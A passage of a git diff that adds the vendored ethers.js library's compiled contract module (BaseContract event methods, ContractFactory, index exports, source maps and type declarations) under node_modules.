} + else { + addrPromise = target.getAddress().then((addr) => { + if (addr == null) { + throw new Error("TODO"); + } + getInternal(this).addr = addr; + return addr; + }); + } + // Set our private values + setInternal(this, { addrPromise, addr, deployTx, subs }); + // Add the event filters + const filters = new Proxy({}, { + get: (target, prop, receiver) => { + // Pass important checks (like `then` for Promise) through + if (typeof (prop) === "symbol" || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + try { + return this.getEvent(prop); + } + catch (error) { + if (!(0, index_js_3.isError)(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return Reflect.has(target, prop) || this.interface.hasEvent(String(prop)); + } + }); + (0, index_js_3.defineProperties)(this, { filters }); + (0, index_js_3.defineProperties)(this, { + fallback: ((iface.receive || iface.fallback) ? (buildWrappedFallback(this)) : null) + }); + // Return a Proxy that will respond to functions + return new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + // Undefined properties should return undefined + try { + return target.getFunction(prop); + } + catch (error) { + if (!(0, index_js_3.isError)(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; + }, + has: (target, prop) => { + if (typeof (prop) === "symbol" || prop in target || passProperties.indexOf(prop) >= 0) { + return Reflect.has(target, prop); + } + return target.interface.hasFunction(prop); + } + }); + } + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner) { + return new BaseContract(this.target, this.interface, runner); + } + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target) { + return new BaseContract(target, this.interface, this.runner); + } + /** + * Return the resolved address of this Contract. + */ + async getAddress() { return await getInternal(this).addrPromise; } + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + async getDeployedCode() { + const provider = getProvider(this.runner); + (0, index_js_3.assert)(provider, "runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "getDeployedCode" }); + const code = await provider.getCode(await this.getAddress()); + if (code === "0x") { + return null; + } + return code; + } + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + async waitForDeployment() { + // We have the deployement transaction; just use that (throws if deployement fails) + const deployTx = this.deploymentTransaction(); + if (deployTx) { + await deployTx.wait(); + return this; + } + // Check for code + const code = await this.getDeployedCode(); + if (code != null) { + return this; + } + // Make sure we can subscribe to a provider event + const provider = getProvider(this.runner); + (0, index_js_3.assert)(provider != null, "contract runner does not support .provider", "UNSUPPORTED_OPERATION", { operation: "waitForDeployment" }); + return new Promise((resolve, reject) => { + const checkCode = async () => { + try { + const code = await this.getDeployedCode(); + if (code != null) { + return resolve(this); + } + provider.once("block", checkCode); + } + catch (error) { + reject(error); + } + }; + checkCode(); + }); + } + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction() { + return getInternal(this).deployTx; + } + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + const func = buildWrappedMethod(this, key); + return func; + } + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key) { + if (typeof (key) !== "string") { + key = key.format(); + } + return buildWrappedEvent(this, key); + } + /** + * @_ignore: + */ + async queryTransaction(hash) { + throw new Error("@TODO"); + } + /* + // @TODO: this is a non-backwards compatible change, but will be added + // in v7 and in a potential SmartContract class in an upcoming + // v6 release + async getTransactionReceipt(hash: string): Promise { + const provider = getProvider(this.runner); + assert(provider, "contract runner does not have a provider", + "UNSUPPORTED_OPERATION", { operation: "queryTransaction" }); + + const receipt = await provider.getTransactionReceipt(hash); + if (receipt == null) { return null; } + + return new ContractTransactionReceipt(this.interface, provider, receipt); + } + */ + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + async queryFilter(event, fromBlock, toBlock) { + if (fromBlock == null) { + fromBlock = 0; + } + if (toBlock == null) { + toBlock = "latest"; + } + const { addr, addrPromise } = getInternal(this); + const address = (addr ? addr : (await addrPromise)); + const { fragment, topics } = await getSubInfo(this, event); + const filter = { address, topics, fromBlock, toBlock }; + const provider = getProvider(this.runner); + (0, index_js_3.assert)(provider, "contract runner does not have a provider", "UNSUPPORTED_OPERATION", { operation: "queryFilter" }); + return (await provider.getLogs(filter)).map((log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = this.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + if (foundFragment) { + try { + return new wrappers_js_1.EventLog(log, this.interface, foundFragment); + } + catch (error) { + return new wrappers_js_1.UndecodedEventLog(log, error); + } + } + return new provider_js_1.Log(log, provider); + }); + } + /** + * Add an event %%listener%% for the %%event%%. + */ + async on(event, listener) { + const sub = await getSub(this, "on", event); + sub.listeners.push({ listener, once: false }); + sub.start(); + return this; + } + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + async once(event, listener) { + const sub = await getSub(this, "once", event); + sub.listeners.push({ listener, once: true }); + sub.start(); + return this; + } + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + async emit(event, ...args) { + return await emit(this, event, args, null); + } + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + async listenerCount(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + const { subs } = getInternal(this); + let total = 0; + for (const { listeners } of subs.values()) { + total += listeners.length; + } + return total; + } + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + async listeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + const { subs } = getInternal(this); + let result = []; + for (const { listeners } of subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + async off(event, listener) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (listener == null || sub.listeners.length === 0) { + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + return this; + } + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + async removeAllListeners(event) { + if (event) { + const sub = await hasSub(this, event); + if (!sub) { + return this; + } + sub.stop(); + getInternal(this).subs.delete(sub.tag); + } + else { + const { subs } = getInternal(this); + for (const { tag, stop } of subs.values()) { + stop(); + subs.delete(tag); + } + } + return this; + } + /** + * Alias for [on]. + */ + async addListener(event, listener) { + return await this.on(event, listener); + } + /** + * Alias for [off]. + */ + async removeListener(event, listener) { + return await this.off(event, listener); + } + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi) { + class CustomContract extends BaseContract { + constructor(address, runner = null) { + super(address, abi, runner); + } + } + return CustomContract; + } + ; + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target, abi, runner) { + if (runner == null) { + runner = null; + } + const contract = new this(target, abi, runner); + return contract; + } +} +exports.BaseContract = BaseContract; +function _ContractBase() { + return BaseContract; +} +/** + * A [[BaseContract]] with no type guards on its methods or events. + */ +class Contract extends _ContractBase() { +} +exports.Contract = Contract; +//# sourceMappingURL=contract.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/contract.js.map b/node_modules/ethers/lib.commonjs/contract/contract.js.map new file mode 100644 index 000000000000..cdd6008099ac --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/contract.js.map @@ -0,0 +1 @@ +{"version":3,"file":"contract.js","sourceRoot":"","sources":["../../src.ts/contract/contract.ts"],"names":[],"mappings":";;;AAAA,8CAAmD;AACnD,kDAAoE;AACpE,sEAAsE;AACtE,yBAAyB;AACzB,0DAAiF;AACjF,gDAG2B;AAE3B,+CAIuB;AAsBvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAkBvB,SAAS,OAAO,CAAC,KAAU;IACvB,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,IAAI,CAAC,KAAK,UAAU,CAAC,CAAC;AACxD,CAAC;AAED,SAAS,WAAW,CAAC,KAAU;IAC3B,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,WAAW,CAAC,KAAK,UAAU,CAAC,CAAC;AAC/D,CAAC;AAED,SAAS,UAAU,CAAC,KAAU;IAC1B,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,WAAW,CAAC,KAAK,UAAU,CAAC,CAAC;AAC/D,CAAC;AAED,SAAS,OAAO,CAAC,KAAU;IACvB,OAAO,CAAC,KAAK,IAAI,OAAM,CAAC,KAAK,CAAC,eAAe,CAAC,KAAK,UAAU,CAAC,CAAC;AACnE,CAAC;AAED,SAAS,WAAW,CAAC,KAAU;IAC3B,IAAI,KAAK,IAAI,IAAI,EAAE;QACf,IAAI,UAAU,CAAC,KAAK,CAAC,EAAE;YAAE,OAAO,KAAK,CAAC;SAAE;QACxC,IAAI,KAAK,CAAC,QAAQ,EAAE;YAAE,OAAO,KAAK,CAAC,QAAQ,CAAC;SAAE;KACjD;IACD,OAAO,SAAS,CAAC;AACrB,CAAC;AAED,MAAM,mBAAmB;IACrB,OAAO,CAAuB;IACrB,QAAQ,CAAiB;IAElC,YAAY,QAAsB,EAAE,QAAuB,EAAE,IAAgB;QACzE,IAAA,2BAAgB,EAAsB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AC;AAC/B,CAAC;AAED;;GAEG;AACH,MAAa,QAAS,SAAQ,aAAa,EAAE;CAAI;AAAjD,4BAAiD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/factory.d.ts b/node_modules/ethers/lib.commonjs/contract/factory.d.ts new file mode 100644 index 000000000000..e472eb93f523 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/factory.d.ts @@ -0,0 +1,62 @@ +import { Interface } from "../abi/index.js"; +import { BaseContract } from "./contract.js"; +import type { InterfaceAbi } from "../abi/index.js"; +import type { Addressable } from "../address/index.js"; +import type { ContractRunner } from "../providers/index.js"; +import type { BytesLike } from "../utils/index.js"; +import type { ContractInterface, ContractMethodArgs, ContractDeployTransaction } from "./types.js"; +import type { ContractTransactionResponse } from "./wrappers.js"; +/** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ +export declare class ContractFactory = Array, I = BaseContract> { + /** + * The Contract Interface. + */ + readonly interface: Interface; + /** + * The Contract deployment bytecode. Often called the initcode. + */ + readonly bytecode: string; + /** + * The ContractRunner to deploy the Contract as. + */ + readonly runner: null | ContractRunner; + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi: Interface | InterfaceAbi, bytecode: BytesLike | { + object: string; + }, runner?: null | ContractRunner); + attach(target: string | Addressable): BaseContract & Omit; + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + getDeployTransaction(...args: ContractMethodArgs): Promise; + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + deploy(...args: ContractMethodArgs): Promise>; + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner: null | ContractRunner): ContractFactory; + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity = Array, I = ContractInterface>(output: any, runner?: ContractRunner): ContractFactory; +} +//# sourceMappingURL=factory.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/factory.d.ts.map b/node_modules/ethers/lib.commonjs/contract/factory.d.ts.map new file mode 100644 index 000000000000..dc031ea9566b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/factory.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"factory.d.ts","sourceRoot":"","sources":["../../src.ts/contract/factory.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAO5C,OAAO,EAAE,YAAY,EAA8B,MAAM,eAAe,CAAC;AAEzE,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,iBAAiB,CAAC;AACpD,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AAC5D,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,KAAK,EACR,iBAAiB,EAAE,kBAAkB,EAAE,yBAAyB,EACnE,MAAM,YAAY,CAAC;AACpB,OAAO,KAAK,EAAE,2BAA2B,EAAE,MAAM,eAAe,CAAC;AAMjE;;GAEG;AACH,qBAAa,eAAe,CAAC,CAAC,SAAS,KAAK,CAAC,GAAG,CAAC,GAAG,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,YAAY;IAE5E;;OAEG;IACH,QAAQ,CAAC,SAAS,EAAG,SAAS,CAAC;IAE/B;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAG,MAAM,CAAC;IAE3B;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,IAAI,GAAG,cAAc,CAAC;IAExC;;;;;;OAMG;gBACS,GAAG,EAAE,SAAS,GAAG,YAAY,EAAE,QAAQ,EAAE,SAAS,GAAG;QAAE,MAAM,EAAE,MAAM,CAAA;KAAE,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,cAAc;IAiBnH,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,WAAW,GAAG,YAAY,GAAG,IAAI,CAAC,CAAC,EAAE,MAAM,YAAY,CAAC;IAIhF;;;OAGG;IACG,oBAAoB,CAAC,GAAG,IAAI,EAAE,kBAAkB,CAAC,CAAC,CAAC,GAAG,OAAO,CAAC,yBAAyB,CAAC;IAmB9F;;;;;;;OAOG;IACG,MAAM,CAAC,GAAG,IAAI,EAAE,kBAAkB,CAAC,CAAC,CAAC,GAAG,OAAO,CAAC,YAAY,GAAG;QAAE,qBAAqB,IAAI,2BAA2B,CAAA;KAAE,GAAG,IAAI,CAAC,CAAC,EAAE,MAAM,YAAY,CAAC,CAAC;IAY5J;;;OAGG;IACH,OAAO,CAAC,MAAM,EAAE,IAAI,GAAG,cAAc,GAAG,eAAe,CAAC,CAAC,EAAE,CAAC,CAAC;IAI7D;;OAEG;IACH,MAAM,CAAC,YAAY,CAAC,CAAC,SAAS,KAAK,CAAC,GAAG,CAAC,GAAG,KAAK,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,iBAAiB,EAAE,MAAM,EAAE,GAAG,EAAE,MAAM,CAAC,EAAE,cAAc,GAAG,eAAe,CAAC,CAAC,EAAE,CAAC,CAAC;CAgB7I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/factory.js b/node_modules/ethers/lib.commonjs/contract/factory.js new file mode 100644 index 000000000000..cf67a034df73 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/factory.js @@ -0,0 +1,116 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ContractFactory = void 0; +const index_js_1 = require("../abi/index.js"); +const index_js_2 = require("../address/index.js"); +const index_js_3 = require("../utils/index.js"); +const contract_js_1 = require("./contract.js"); +// A = Arguments to the constructor +// I = Interface of deployed contracts +/** + * A **ContractFactory** is used to deploy a Contract to the blockchain. + */ +class ContractFactory { + /** + * The Contract Interface. + */ + interface; + /** + * The Contract deployment bytecode. Often called the initcode. + */ + bytecode; + /** + * The ContractRunner to deploy the Contract as. + */ + runner; + /** + * Create a new **ContractFactory** with %%abi%% and %%bytecode%%, + * optionally connected to %%runner%%. + * + * The %%bytecode%% may be the ``bytecode`` property within the + * standard Solidity JSON output. + */ + constructor(abi, bytecode, runner) { + const iface = index_js_1.Interface.from(abi); + // Dereference Solidity bytecode objects and allow a missing `0x`-prefix + if (bytecode instanceof Uint8Array) { + bytecode = (0, index_js_3.hexlify)((0, index_js_3.getBytes)(bytecode)); + } + else { + if (typeof (bytecode) === "object") { + bytecode = bytecode.object; + } + if (!bytecode.startsWith("0x")) { + bytecode = "0x" + bytecode; + } + bytecode = (0, index_js_3.hexlify)((0, index_js_3.getBytes)(bytecode)); + } + (0, index_js_3.defineProperties)(this, { + bytecode, interface: iface, runner: (runner || null) + }); + } + attach(target) { + return new contract_js_1.BaseContract(target, this.interface, this.runner); + } + /** + * Resolves to the transaction to deploy the contract, passing %%args%% + * into the constructor. + */ + async getDeployTransaction(...args) { + let overrides = {}; + const fragment = this.interface.deploy; + if (fragment.inputs.length + 1 === args.length) { + overrides = await (0, contract_js_1.copyOverrides)(args.pop()); + } + if (fragment.inputs.length !== args.length) { + throw new Error("incorrect number of arguments to constructor"); + } + const resolvedArgs = await (0, contract_js_1.resolveArgs)(this.runner, fragment.inputs, args); + const data = (0, index_js_3.concat)([this.bytecode, this.interface.encodeDeploy(resolvedArgs)]); + return Object.assign({}, overrides, { data }); + } + /** + * Resolves to the Contract deployed by passing %%args%% into the + * constructor. + * + * This will resolve to the Contract before it has been deployed to the + * network, so the [[BaseContract-waitForDeployment]] should be used before + * sending any transactions to it. + */ + async deploy(...args) { + const tx = await this.getDeployTransaction(...args); + (0, index_js_3.assert)(this.runner && typeof (this.runner.sendTransaction) === "function", "factory runner does not support sending transactions", "UNSUPPORTED_OPERATION", { + operation: "sendTransaction" + }); + const sentTx = await this.runner.sendTransaction(tx); + const address = (0, index_js_2.getCreateAddress)(sentTx); + return new contract_js_1.BaseContract(address, this.interface, this.runner, sentTx); + } + /** + * Return a new **ContractFactory** with the same ABI and bytecode, + * but connected to %%runner%%. + */ + connect(runner) { + return new ContractFactory(this.interface, this.bytecode, runner); + } + /** + * Create a new **ContractFactory** from the standard Solidity JSON output. + */ + static fromSolidity(output, runner) { + (0, index_js_3.assertArgument)(output != null, "bad compiler output", "output", output); + if (typeof (output) === "string") { + output = JSON.parse(output); + } + const abi = output.abi; + let bytecode = ""; + if (output.bytecode) { + bytecode = output.bytecode; + } + else if (output.evm && output.evm.bytecode) { + bytecode = output.evm.bytecode; + } + return new this(abi, bytecode, runner); + } +} +exports.ContractFactory = ContractFactory; +//# sourceMappingURL=factory.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/factory.js.map b/node_modules/ethers/lib.commonjs/contract/factory.js.map new file mode 100644 index 000000000000..3af619f4715e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/factory.js.map @@ -0,0 +1 @@ +{"version":3,"file":"factory.js","sourceRoot":"","sources":["../../src.ts/contract/factory.ts"],"names":[],"mappings":";;;AACA,8CAA4C;AAC5C,kDAAuD;AACvD,gDAG2B;AAE3B,+CAAyE;AAazE,mCAAmC;AACnC,sCAAsC;AAEtC;;GAEG;AACH,MAAa,eAAe;IAExB;;OAEG;IACM,SAAS,CAAa;IAE/B;;OAEG;IACM,QAAQ,CAAU;IAE3B;;OAEG;IACM,MAAM,CAAyB;IAExC;;;;;;OAMG;IACH,YAAY,GAA6B,EAAE,QAAwC,EAAE,MAA8B;QAC/G,MAAM,KAAK,GAAG,oBAAS,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAElC,wEAAwE;QACxE,IAAI,QAAQ,YAAY,UAAU,EAAE;YAChC,QAAQ,GAAG,IAAA,kBAAO,EAAC,IAAA,mBAAQ,EAAC,QAAQ,CAAC,CAAC,CAAC;SAC1C;aAAM;YACH,IAAI,OA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,CAAC,GAAG,CAAC;QAEvB,IAAI,QAAQ,GAAG,EAAE,CAAC;QAClB,IAAI,MAAM,CAAC,QAAQ,EAAE;YACjB,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC;SAC9B;aAAM,IAAI,MAAM,CAAC,GAAG,IAAI,MAAM,CAAC,GAAG,CAAC,QAAQ,EAAE;YAC1C,QAAQ,GAAG,MAAM,CAAC,GAAG,CAAC,QAAQ,CAAC;SAClC;QAED,OAAO,IAAI,IAAI,CAAC,GAAG,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAC3C,CAAC;CACJ;AAnHD,0CAmHC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/index.d.ts b/node_modules/ethers/lib.commonjs/contract/index.d.ts new file mode 100644 index 000000000000..b7f2c8184d10 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/index.d.ts @@ -0,0 +1,13 @@ +/** + * A **Contract** object is a meta-class (a class whose definition is + * defined at runtime), which communicates with a deployed smart contract + * on the blockchain and provides a simple JavaScript interface to call + * methods, send transaction, query historic logs and listen for its events. + * + * @_section: api/contract:Contracts [about-contracts] + */ +export { BaseContract, Contract } from "./contract.js"; +export { ContractFactory } from "./factory.js"; +export { ContractEventPayload, ContractUnknownEventPayload, ContractTransactionReceipt, ContractTransactionResponse, EventLog, UndecodedEventLog } from "./wrappers.js"; +export type { BaseContractMethod, ConstantContractMethod, PostfixOverrides, ContractEvent, ContractEventArgs, ContractEventName, ContractDeployTransaction, ContractInterface, ContractMethod, ContractMethodArgs, ContractTransaction, DeferredTopicFilter, Overrides, WrappedFallback } from "./types.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/index.d.ts.map b/node_modules/ethers/lib.commonjs/contract/index.d.ts.map new file mode 100644 index 000000000000..aad3d029aa68 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/contract/index.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AACH,OAAO,EACH,YAAY,EAAE,QAAQ,EACzB,MAAM,eAAe,CAAC;AAEvB,OAAO,EACH,eAAe,EAClB,MAAM,cAAc,CAAC;AAEtB,OAAO,EACH,oBAAoB,EAAE,2BAA2B,EACjD,0BAA0B,EAAE,2BAA2B,EACvD,QAAQ,EAAE,iBAAiB,EAC9B,MAAM,eAAe,CAAC;AAEvB,YAAY,EACR,kBAAkB,EAAE,sBAAsB,EAC1C,gBAAgB,EAChB,aAAa,EAAE,iBAAiB,EAAE,iBAAiB,EACnD,yBAAyB,EACzB,iBAAiB,EAAE,cAAc,EAAE,kBAAkB,EAAE,mBAAmB,EAC1E,mBAAmB,EAAE,SAAS,EAC9B,eAAe,EAClB,MAAM,YAAY,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/index.js b/node_modules/ethers/lib.commonjs/contract/index.js new file mode 100644 index 000000000000..331b92fbd5b9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/index.js @@ -0,0 +1,24 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.UndecodedEventLog = exports.EventLog = exports.ContractTransactionResponse = exports.ContractTransactionReceipt = exports.ContractUnknownEventPayload = exports.ContractEventPayload = exports.ContractFactory = exports.Contract = exports.BaseContract = void 0; +/** + * A **Contract** object is a meta-class (a class whose definition is + * defined at runtime), which communicates with a deployed smart contract + * on the blockchain and provides a simple JavaScript interface to call + * methods, send transaction, query historic logs and listen for its events. + * + * @_section: api/contract:Contracts [about-contracts] + */ +var contract_js_1 = require("./contract.js"); +Object.defineProperty(exports, "BaseContract", { enumerable: true, get: function () { return contract_js_1.BaseContract; } }); +Object.defineProperty(exports, "Contract", { enumerable: true, get: function () { return contract_js_1.Contract; } }); +var factory_js_1 = require("./factory.js"); +Object.defineProperty(exports, "ContractFactory", { enumerable: true, get: function () { return factory_js_1.ContractFactory; } }); +var wrappers_js_1 = require("./wrappers.js"); +Object.defineProperty(exports, "ContractEventPayload", { enumerable: true, get: function () { return wrappers_js_1.ContractEventPayload; } }); +Object.defineProperty(exports, "ContractUnknownEventPayload", { enumerable: true, get: function () { return wrappers_js_1.ContractUnknownEventPayload; } }); +Object.defineProperty(exports, "ContractTransactionReceipt", { enumerable: true, get: function () { return wrappers_js_1.ContractTransactionReceipt; } }); +Object.defineProperty(exports, "ContractTransactionResponse", { enumerable: true, get: function () { return wrappers_js_1.ContractTransactionResponse; } }); +Object.defineProperty(exports, "EventLog", { enumerable: true, get: function () { return wrappers_js_1.EventLog; } }); +Object.defineProperty(exports, "UndecodedEventLog", { enumerable: true, get: function () { return wrappers_js_1.UndecodedEventLog; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/index.js.map b/node_modules/ethers/lib.commonjs/contract/index.js.map new file mode 100644 index 000000000000..3dc664a01192 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/contract/index.ts"],"names":[],"mappings":";;;AAAA;;;;;;;GAOG;AACH,6CAEuB;AADnB,2GAAA,YAAY,OAAA;AAAE,uGAAA,QAAQ,OAAA;AAG1B,2CAEsB;AADlB,6GAAA,eAAe,OAAA;AAGnB,6CAIuB;AAHnB,mHAAA,oBAAoB,OAAA;AAAE,0HAAA,2BAA2B,OAAA;AACjD,yHAAA,0BAA0B,OAAA;AAAE,0HAAA,2BAA2B,OAAA;AACvD,uGAAA,QAAQ,OAAA;AAAE,gHAAA,iBAAiB,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/types.d.ts b/node_modules/ethers/lib.commonjs/contract/types.d.ts new file mode 100644 index 000000000000..e844463f26e9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/types.d.ts @@ -0,0 +1,193 @@ +import type { EventFragment, FunctionFragment, Result, Typed } from "../abi/index.js"; +import type { TransactionRequest, PreparedTransactionRequest, TopicFilter } from "../providers/index.js"; +import type { ContractTransactionResponse } from "./wrappers.js"; +/** + * The name for an event used for subscribing to Contract events. + * + * **``string``** - An event by name. The event must be non-ambiguous. + * The parameters will be dereferenced when passed into the listener. + * + * [[ContractEvent]] - A filter from the ``contract.filters``, which will + * pass only the EventPayload as a single parameter, which includes a + * ``.signature`` property that can be used to further filter the event. + * + * [[TopicFilter]] - A filter defined using the standard Ethereum API + * which provides the specific topic hash or topic hashes to watch for along + * with any additional values to filter by. This will only pass a single + * parameter to the listener, the EventPayload which will include additional + * details to refine by, such as the event name and signature. + * + * [[DeferredTopicFilter]] - A filter created by calling a [[ContractEvent]] + * with parameters, which will create a filter for a specific event + * signature and dereference each parameter when calling the listener. + */ +export type ContractEventName = string | ContractEvent | TopicFilter | DeferredTopicFilter; +/** + * A Contract with no method constraints. + */ +export interface ContractInterface { + [name: string]: BaseContractMethod; +} +/** + * When creating a filter using the ``contract.filters``, this is returned. + */ +export interface DeferredTopicFilter { + getTopicFilter(): Promise; + fragment: EventFragment; +} +/** + * When populating a transaction this type is returned. + */ +export interface ContractTransaction extends PreparedTransactionRequest { + /** + * The target address. + */ + to: string; + /** + * The transaction data. + */ + data: string; + /** + * The from address, if any. + */ + from?: string; +} +/** + * A deployment transaction for a contract. + */ +export interface ContractDeployTransaction extends Omit { +} +/** + * The overrides for a contract transaction. + */ +export interface Overrides extends Omit { +} +/** + * Arguments to a Contract method can always include an additional and + * optional overrides parameter. + * + * @_ignore: + */ +export type PostfixOverrides> = A | [...A, Overrides]; +/** + * Arguments to a Contract method can always include an additional and + * optional overrides parameter, and each parameter can optionally be + * [[Typed]]. + * + * @_ignore: + */ +export type ContractMethodArgs> = PostfixOverrides<{ + [I in keyof A]-?: A[I] | Typed; +}>; +/** + * A Contract method can be called directly, or used in various ways. + */ +export interface BaseContractMethod = Array, R = any, D extends R | ContractTransactionResponse = R | ContractTransactionResponse> { + (...args: ContractMethodArgs): Promise; + /** + * The name of the Contract method. + */ + name: string; + /** + * The fragment of the Contract method. This will throw on ambiguous + * method names. + */ + fragment: FunctionFragment; + /** + * Returns the fragment constrained by %%args%%. This can be used to + * resolve ambiguous method names. + */ + getFragment(...args: ContractMethodArgs): FunctionFragment; + /** + * Returns a populated transaction that can be used to perform the + * contract method with %%args%%. + */ + populateTransaction(...args: ContractMethodArgs): Promise; + /** + * Call the contract method with %%args%% and return the value. + * + * If the return value is a single type, it will be dereferenced and + * returned directly, otherwise the full Result will be returned. + */ + staticCall(...args: ContractMethodArgs): Promise; + /** + * Send a transaction for the contract method with %%args%%. + */ + send(...args: ContractMethodArgs): Promise; + /** + * Estimate the gas to send the contract method with %%args%%. + */ + estimateGas(...args: ContractMethodArgs): Promise; + /** + * Call the contract method with %%args%% and return the Result + * without any dereferencing. + */ + staticCallResult(...args: ContractMethodArgs): Promise; +} +/** + * A contract method on a Contract. + */ +export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = R | ContractTransactionResponse> extends BaseContractMethod { +} +/** + * A pure of view method on a Contract. + */ +export interface ConstantContractMethod, R = any> extends ContractMethod { +} +/** + * Each argument of an event is nullable (to indicate matching //any//. + * + * @_ignore: + */ +export type ContractEventArgs> = { + [I in keyof A]?: A[I] | Typed | null; +}; +export interface ContractEvent = Array> { + (...args: ContractEventArgs): DeferredTopicFilter; + /** + * The name of the Contract event. + */ + name: string; + /** + * The fragment of the Contract event. This will throw on ambiguous + * method names. + */ + 